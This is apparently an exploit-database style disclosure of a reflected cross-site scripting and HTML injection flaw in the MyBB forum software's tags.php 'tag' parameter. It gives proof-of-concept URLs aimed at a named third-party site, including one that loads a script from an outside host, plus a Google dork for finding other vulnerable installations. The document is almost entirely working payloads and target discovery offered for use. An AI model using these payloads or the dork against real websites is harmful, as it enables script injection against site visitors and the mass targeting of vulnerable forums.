MyBB all version (tags.php?tag=) - Cross-Site Scripting (XSS) & HTML
Injection

http://www.mybb.com

12-12-2010


Poc: http://infectionsupport.com/tags.php?tag=
"><script>alert(String.fromCharCode(88,83,83))</script>

     http://infectionsupport.com/tags.php?tag="><script src%3d//ckers.org/s
></script>

Google dork: powered by mybb inurl:tags.php?tag=


by Teamelite  (Methodman) http://nemesis.te-home.net